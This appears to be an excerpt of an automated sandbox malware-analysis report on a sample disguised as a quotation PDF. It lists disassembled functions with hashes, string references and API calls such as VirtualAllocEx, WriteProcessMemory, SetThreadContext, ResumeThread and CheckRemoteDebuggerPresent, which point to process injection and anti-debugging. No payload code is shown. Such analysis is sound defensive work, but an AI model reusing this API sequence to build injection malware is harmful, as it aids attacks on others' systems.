Opcode Fuzzy Hash: 3b06c7e37f51905b95ee96c8becb67ca0db427b9e3c0311064e921464952efc1
Instruction Fuzzy Hash: 90D104B4956219CFEBA4EF28C955BEDB7B0EB09304F5044EAD409AB3A0C7759E85CF00

Uniqueness

Uniqueness Score: -1.00%

Function 05C00944 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2234254603.0000000005C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c00000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb4e0458147008e680dd274c4abd9c0e85fe4e21ba09f8f35845315efc48d5ee
Instruction ID: 330c80ad3440e698dd08512683a452a5553d7625968d61ff74e1484e15464f6b
Opcode Fuzzy Hash: eb4e0458147008e680dd274c4abd9c0e85fe4e21ba09f8f35845315efc48d5ee
Instruction Fuzzy Hash: 8CC10670E06218CFDB54DF69D848BADBBF2FB49300F91A5AAD009B7295DB705A81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0731FCF8 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2245312078.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7310000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bedb797bae6d7cb510c3d8e4dd2e7698fe1b56c92130e3412a1a5d5567ee6c89
Instruction ID: cd4068cc6b56e8a66ca5f21eeafcfc03b193cabfd849045235d47e21b19f6c02
Opcode Fuzzy Hash: bedb797bae6d7cb510c3d8e4dd2e7698fe1b56c92130e3412a1a5d5567ee6c89
Instruction Fuzzy Hash: 875135B1D06209CFEB18DFA9D4447EDBBF6FB4A300F109029D009AB2A8D7B59946CF50

Uniqueness

Uniqueness Score: -1.00%

Function 07202B48 Relevance: 4.2, Strings: 3, Instructions: 479
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 0720301D
Hbq, xrefs: 0720304C
Hbq, xrefs: 0720309C

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq
API String ID: 0-2297679979
Opcode ID: d1976ee83b0d9de6b8c13fdb1efd065be2681f1327da84e85e61eb6eecb92db6
Instruction ID: 4628f735755671e0c3a401800a7a78a6285cbf3f58ba7b7d7ad189ec28b0fa0a
Opcode Fuzzy Hash: d1976ee83b0d9de6b8c13fdb1efd065be2681f1327da84e85e61eb6eecb92db6
Instruction Fuzzy Hash: 3A125FB1A10215DFCB24DFA9C48566EBBF2FF88300F14852DD506AB792DB35AD45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 07204800 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 07204B79
4'^q, xrefs: 07204AF9
4'^q, xrefs: 07204A1A

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q
API String ID: 0-1196845430
Opcode ID: 1c3432ccdf130c34b7d8f86ce2261928cf7ad164956f99d4bcba6c05505daec5
Instruction ID: b6a7051faf0133209067e01c2e3aea78a527fab2a9c5ab5cbe24c3e1df49e77a
Opcode Fuzzy Hash: 1c3432ccdf130c34b7d8f86ce2261928cf7ad164956f99d4bcba6c05505daec5
Instruction Fuzzy Hash: 51F1FF74A10158CFCB08EFA4D995E9DBBB2FF89300F118158E905AB3A5DB71EC42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 072091E0 Relevance: 4.1, Strings: 3, Instructions: 360
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 07209335
(bq, xrefs: 07209309
Hbq, xrefs: 07209361

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: (bq$(bq$Hbq
API String ID: 0-2835675688
Opcode ID: 02479977ecba337bdfadc48d3418ec6dd60adb6fc3d157608e34deb4479d16c4
Instruction ID: e3da5cf4249fad5d999758864fbdaa138b1c8dcea81e74cf885f5175ad4245a6
Opcode Fuzzy Hash: 02479977ecba337bdfadc48d3418ec6dd60adb6fc3d157608e34deb4479d16c4
Instruction Fuzzy Hash: B3E14374A10209DFCB04EFA4D49499DBBB2FF89310F118559E9466B3A5DB30ED81CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07201218 Relevance: 4.0, Strings: 3, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 0720128E
(bq, xrefs: 07201262
(bq, xrefs: 07201389

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: (bq$(bq$(bq
API String ID: 0-2716923250
Opcode ID: a45287879d2f5ef3583a41d31f301f101f82bde7b3ec17336792a84b42547d6a
Instruction ID: d742d8ba7422faf4a2bfb1ac0982a75915226861f8692af9a55822213082a4f8
Opcode Fuzzy Hash: a45287879d2f5ef3583a41d31f301f101f82bde7b3ec17336792a84b42547d6a
Instruction Fuzzy Hash: 105122763042664FC715DF79D840A6E7BE6EFC5711B1884AAE909CB792CA35DC02C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 00F75160 Relevance: 2.7, Strings: 2, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te^q, xrefs: 00F753F9
Hbq, xrefs: 00F752E7

Memory Dump Source

Source File: 00000000.00000002.2222091925.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f70000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: Hbq$Te^q
API String ID: 0-4204034466
Opcode ID: 12ecbf557242f49ec12bc7cf22f53e71185d9e007b975ac202bbfeaccb9cd9b1
Instruction ID: e3f59727e634b13242bede20745d7a6278989b5a8cf99b22ffbfe2560942538b
Opcode Fuzzy Hash: 12ecbf557242f49ec12bc7cf22f53e71185d9e007b975ac202bbfeaccb9cd9b1
Instruction Fuzzy Hash: 28811530B006155FCB05AFB9C8546AEBBE3EFC9310B14856AE00ADB391DF748D06D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 07201030 Relevance: 2.7, Strings: 2, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 07201154
(bq, xrefs: 072011AB

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: (bq$(bq
API String ID: 0-4224401849
Opcode ID: 83db90b2e5569f6d86d22c289efe4e52307a773fc8720fdd1621c610dd5d5c26
Instruction ID: d49c650aec5664b2b80433decf82da1c14cdb7c9a02d171a0748b027458a138c
Opcode Fuzzy Hash: 83db90b2e5569f6d86d22c289efe4e52307a773fc8720fdd1621c610dd5d5c26
Instruction Fuzzy Hash: D251DD7130025A9FCB159F68D841AAE7BA6FF88311F148169E906CB3D2CB35DD52CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0720B438 Relevance: 2.7, Strings: 2, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 0720B55C
(bq, xrefs: 0720B486

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: (bq$Hbq
API String ID: 0-4081012451
Opcode ID: c036cb70db02abf3fcfd0ba5a03b4761775108702f7627f8131aa39b377298b4
Instruction ID: f121c8887db9c3f7d94c327b4fd4179b9e3ae037f78d02f28d9979a357d9515d
Opcode Fuzzy Hash: c036cb70db02abf3fcfd0ba5a03b4761775108702f7627f8131aa39b377298b4
Instruction Fuzzy Hash: 025114B53142518FC715DB78C86096E7FB6EF8A710B1580AAE505CB3E2CA35DD02CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 05C038E4 Relevance: 2.6, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7, xrefs: 05C03917
@, xrefs: 05C038EE

Memory Dump Source

Source File: 00000000.00000002.2234254603.0000000005C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c00000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: 7$@
API String ID: 0-1498516017
Opcode ID: 85c53be40914d523ca6c911f91ff9a935afc394720809bde6fd02bd770927c77
Instruction ID: e0b8a00357b29f56bdfc829a54dbc01a7017bb61c14e0e0f8b49403b390fe592
Opcode Fuzzy Hash: 85c53be40914d523ca6c911f91ff9a935afc394720809bde6fd02bd770927c77
Instruction Fuzzy Hash: F751D579905268CFEB20CF55D848BEDB7B2BB49304F10A9EAD40AB7290D7754AC5CF24

Uniqueness

Uniqueness Score: -1.00%

Function 05C0345C Relevance: 2.6, Strings: 2, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

G, xrefs: 05C03697
,, xrefs: 05C03492

Memory Dump Source

Source File: 00000000.00000002.2234254603.0000000005C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c00000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: ,$G
API String ID: 0-3611710211
Opcode ID: db49de1629612d75941f93a0b388e8a628bdaa9f9ffe9507c05a94082c7a5a1e
Instruction ID: 0ef6a7a57117a54a4233d309006f827939eb59326efb7c81f59e55bf80a1ad4a
Opcode Fuzzy Hash: db49de1629612d75941f93a0b388e8a628bdaa9f9ffe9507c05a94082c7a5a1e
Instruction Fuzzy Hash: E651E478905269CFEB60CF5AC848BE9B7B2BB45300F10A9EAC40DB7290D7744AC4CF24

Uniqueness

Uniqueness Score: -1.00%

Function 072056E0 Relevance: 1.9, Strings: 1, Instructions: 677
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 07205A5B

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: ,bq
API String ID: 0-2474004448
Opcode ID: 90a4eccab87dd852f270676d552009a8e8ead9e8f2f0d58f60d9490457698e90
Instruction ID: 1540d1d8d04ff0915077a242aef2f4d062de1de84838cda266c1355075b4e338
Opcode Fuzzy Hash: 90a4eccab87dd852f270676d552009a8e8ead9e8f2f0d58f60d9490457698e90
Instruction Fuzzy Hash: 69520AB5A102289FDB64DF69C945BDDBBF2BF88300F1540D9E509AB391DA349E80CF61

Uniqueness

Uniqueness Score: -1.00%

Function 07200040 Relevance: 1.8, Strings: 1, Instructions: 531
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(_^q, xrefs: 072002CD

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: (_^q
API String ID: 0-538443824
Opcode ID: 0a2cbd9a03b03378564b9fefb287957b9bd41328028bb5796226d45e022f7d4c
Instruction ID: a9ff21c1c4971da8bbf69c82864c78c47180bee36a38cf21154051005d79c05f
Opcode Fuzzy Hash: 0a2cbd9a03b03378564b9fefb287957b9bd41328028bb5796226d45e022f7d4c
Instruction Fuzzy Hash: 07227EB5B102059FDB14DFA8C495BADB7B2FF88300F158059E905AB392DB75ED81CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0748391C Relevance: 1.7, APIs: 1, Instructions: 205
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 07483B02

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 827dbde4b349f5e261e5b8c4d062e0ed18c8a24f7f6aa990c9182ea208c92dd5
Instruction ID: 024e2a04483603609fc187ccfa290b8cdf7fbc2d4727cbe9424fadbd6f006667
Opcode Fuzzy Hash: 827dbde4b349f5e261e5b8c4d062e0ed18c8a24f7f6aa990c9182ea208c92dd5
Instruction Fuzzy Hash: 8C8145B1D0025A9FDB50DFA9C8857EEBBF1AF48714F14852AE859AB381D7348881CB81

Uniqueness

Uniqueness Score: -1.00%

Function 07483928 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 07483B02

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: eaf8743ea203e7c7d6aca5369767a6da10412a7aff1e208c973fba8df477d488
Instruction ID: 561bff8b324720bf5597c057dfa394892978e57e85d1ad6b6ec9227bc32a9d39
Opcode Fuzzy Hash: eaf8743ea203e7c7d6aca5369767a6da10412a7aff1e208c973fba8df477d488
Instruction Fuzzy Hash: 2D8155B1D0024E9FDB50DFA9C8857EEBBF1BF48714F14852AE818AB341D7349881CB81

Uniqueness

Uniqueness Score: -1.00%

Function 07206558 Relevance: 1.7, Strings: 1, Instructions: 415COMMON

Download Yara Rule

Strings

$^q, xrefs: 072066AF

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: $^q
API String ID: 0-388095546
Opcode ID: 2c446ed51ea389b79a9b4ee810bd62ce85a16db0af9cf9ac46e4bc59d98ceba9
Instruction ID: 117ea4fb82d950b4307d1ccd73e549211b361bf966307f7f4ad24c49c20465f0
Opcode Fuzzy Hash: 2c446ed51ea389b79a9b4ee810bd62ce85a16db0af9cf9ac46e4bc59d98ceba9
Instruction Fuzzy Hash: A5E1BEF07202469FDB14AF68C81166A7BE2FF95300F148069E986DB7D3DA74CD618BB1

Uniqueness

Uniqueness Score: -1.00%

Function 074843D1 Relevance: 1.6, APIs: 1, Instructions: 124injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 07484387

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 257fa886a6c4b47f291b37a769ee4946c3dd7ef1e66ec6790ccf9cd3e6e3ac22
Instruction ID: 42b9aaa860d789ffd3d6e5d927cfac7e152c8a4080ce3165029a15604c58021a
Opcode Fuzzy Hash: 257fa886a6c4b47f291b37a769ee4946c3dd7ef1e66ec6790ccf9cd3e6e3ac22
Instruction Fuzzy Hash: 2B41F2B68003498FCB01DFA9D8457EEBFF0EF49320F14842AE459A3291C7389555DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07483BD9 Relevance: 1.6, APIs: 1, Instructions: 100threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07483C9E

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 603a555bf98820b07f36fc7cfca0e366d15bda436e8d8582dbc71c9575d72491
Instruction ID: 8ac0cdaa3e2a85f2606fe1f8d3bbb3b3ed914422ebd2d5b817fe41ff4155723a
Opcode Fuzzy Hash: 603a555bf98820b07f36fc7cfca0e366d15bda436e8d8582dbc71c9575d72491
Instruction Fuzzy Hash: 6E31E1B58043489FCB01DFA9C845BEEBFF0EF49354F14842AD448A7342C7349989CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 07484560 Relevance: 1.6, APIs: 1, Instructions: 81threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 0748460A

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 63d2799a1f192ebf13df2de2ce644bc15d9582f6c6c4ccfabe7e2082dd1eb030
Instruction ID: cb0054d7b2b117b2f3d22d17f125712c093f6d75bb14cdee9debfc7651cebec7
Opcode Fuzzy Hash: 63d2799a1f192ebf13df2de2ce644bc15d9582f6c6c4ccfabe7e2082dd1eb030
Instruction Fuzzy Hash: A021BFB19043888FCB11EFA9C8467DEBFF4EB4A220F14885AD414F7291D7395A49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 074842F9 Relevance: 1.6, APIs: 1, Instructions: 71injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 07484387

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4aa86b96f006ff228579e539d1d1bb2d60b793fb7edb4cc6c27cb49d08b4fd8f
Instruction ID: 3a1c1f8a06a00a0ae523e487d9fb53e045024087392515453a809781fecc6f26
Opcode Fuzzy Hash: 4aa86b96f006ff228579e539d1d1bb2d60b793fb7edb4cc6c27cb49d08b4fd8f
Instruction Fuzzy Hash: 39217AB190034A9FCB10DFAAC845BEEBBF4FF48320F10842AE419A3241C7789955DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07485468 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 074854E7

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 660942973fa2f0b893c76a612ca2d0e04397eca7a94fbd02d62b9b400157e271
Instruction ID: 0161451be2923c5d920e6b6b0d576a817f94424ae3a9bf0553ae1d279cda28ba
Opcode Fuzzy Hash: 660942973fa2f0b893c76a612ca2d0e04397eca7a94fbd02d62b9b400157e271
Instruction Fuzzy Hash: AF2181B19002498FDB14DFAAD4447EEFBF5AF59320F14846ED459A7240C7389645DF60

Uniqueness

Uniqueness Score: -1.00%

Function 07484300 Relevance: 1.6, APIs: 1, Instructions: 66injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 07484387

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9bf6710f7ecfef23ac7251592d55ed1ba372277264f5691bdca75b118b980626
Instruction ID: 31ba229dc82bd687a863e75f98ec172a679f56fab59da57c7f959c2c8e5da1f2
Opcode Fuzzy Hash: 9bf6710f7ecfef23ac7251592d55ed1ba372277264f5691bdca75b118b980626
Instruction Fuzzy Hash: DB214AB190034A9FCB10DFAAC845BDEBBF5FF48310F14842AE519A7241C7789955DF60

Uniqueness

Uniqueness Score: -1.00%

Function 07483C20 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07483C9E

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: adf29cce941c54ef3a123c6460b5ed028f3a2b65dde874f4e20ff2612f9928c0
Instruction ID: 8d91435e9a14a866c9b007e9b3f3fb77d57d2a366f5d49bc705e494ac4dfb957
Opcode Fuzzy Hash: adf29cce941c54ef3a123c6460b5ed028f3a2b65dde874f4e20ff2612f9928c0
Instruction Fuzzy Hash: 9D2138B19003098FDB10DFAAC4857EEFBF4EF89324F14842AD419A7240CB789945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 07484108 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0748417E

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 735652d7f2d45f66c53a78b268d81117c30021cf2c914e35bd497dea876bf10c
Instruction ID: 73f80334104d7dd77066ecfe8d56c609847143ee8e267ba34c0b0550e2e3e4af
Opcode Fuzzy Hash: 735652d7f2d45f66c53a78b268d81117c30021cf2c914e35bd497dea876bf10c
Instruction Fuzzy Hash: B71159B59003499FCB10DFA9C848ADEFFF5EF88320F24841AE519A7250C7359555DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07484110 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0748417E

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fcffce7b7d1d87622b8d69328784d0bd2aaf9aaefb7f4b297609d0a531384bce
Instruction ID: 75680052c68371e6d00783f482069e6c28b5da4a6e1d0de9e742adbbaa89737e
Opcode Fuzzy Hash: fcffce7b7d1d87622b8d69328784d0bd2aaf9aaefb7f4b297609d0a531384bce
Instruction Fuzzy Hash: 5E1126B19003499FCB10DFAAC845ADFFFF5EB88320F24841AE519A7250C775A954DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 074840C8 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0748417E

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2402bdad4c82e1d0ab06a8dee73b3d692c4edc137ffe38c1efd95c66a9940dff
Instruction ID: 3b39c759dab1ca62e05cb328eb5bf036ae98e103f0a52d0dd9148beacf553f49
Opcode Fuzzy Hash: 2402bdad4c82e1d0ab06a8dee73b3d692c4edc137ffe38c1efd95c66a9940dff
Instruction Fuzzy Hash: DD11E5B28043894FCF129FA9D8093DFBFB0AF51314F24445BE158D7262D63A8559DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 074845A8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 0748460A

Memory Dump Source

Source File: 00000000.00000002.2245816696.0000000007480000.00000040.00000800.00020000.00000000.sdmp, Offset: 07480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7480000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8bb2126f78b7d7e78df2aaff8ee0a95e7a979d4ea4b4f86492f5445afa26f258
Instruction ID: 11c4e2ad19b000cb3848d7b563f8becba443525742fb88b9359a38705a385cb8
Opcode Fuzzy Hash: 8bb2126f78b7d7e78df2aaff8ee0a95e7a979d4ea4b4f86492f5445afa26f258
Instruction Fuzzy Hash: 4E1136B19003498FCB14EFAAC8457DFFBF5EB89324F24841AD519A7240CB79A944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 072056D0 Relevance: 1.5, Strings: 1, Instructions: 291COMMON

Download Yara Rule

Strings

,bq, xrefs: 07205A5B

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: ,bq
API String ID: 0-2474004448
Opcode ID: 8b6f31f64f135ca1b23cfe9c63e4337b0d7e0029fe5e9bc36015263aa1276241
Instruction ID: 98f53b8b8e4a685a5311c5ef95823c4913d0714ea482b3aa3aecd840d16f52de
Opcode Fuzzy Hash: 8b6f31f64f135ca1b23cfe9c63e4337b0d7e0029fe5e9bc36015263aa1276241
Instruction Fuzzy Hash: 14C161B4A102289FDB14DF69C945BDDBBF6EF88701F158099E509AB391CB309D81CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 072047F0 Relevance: 1.5, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07204A1A

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 4ad354c6d18684dac3079772ba56e11ab632cee3c0009cd3e5de1b1a23985efa
Instruction ID: 862b45e65296dbebff7cc093159603da08d148aaada3a1debab30ea30a108244
Opcode Fuzzy Hash: 4ad354c6d18684dac3079772ba56e11ab632cee3c0009cd3e5de1b1a23985efa
Instruction Fuzzy Hash: 22A11F74A10159CFCB08EFA4D894E9DBBB2FF89300F518159E905AB3A5DB30EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 07206BD0 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

(bq, xrefs: 07206C9B

Memory Dump Source

Source File: 00000000.00000002.2243848308.0000000007200000.00000040.00000800.00020000.00000000.sdmp, Offset: 07200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7200000_QUOTATION_APRQTRA031244#U00faPDF.jbxd

Similarity

API ID:
String ID: (bq
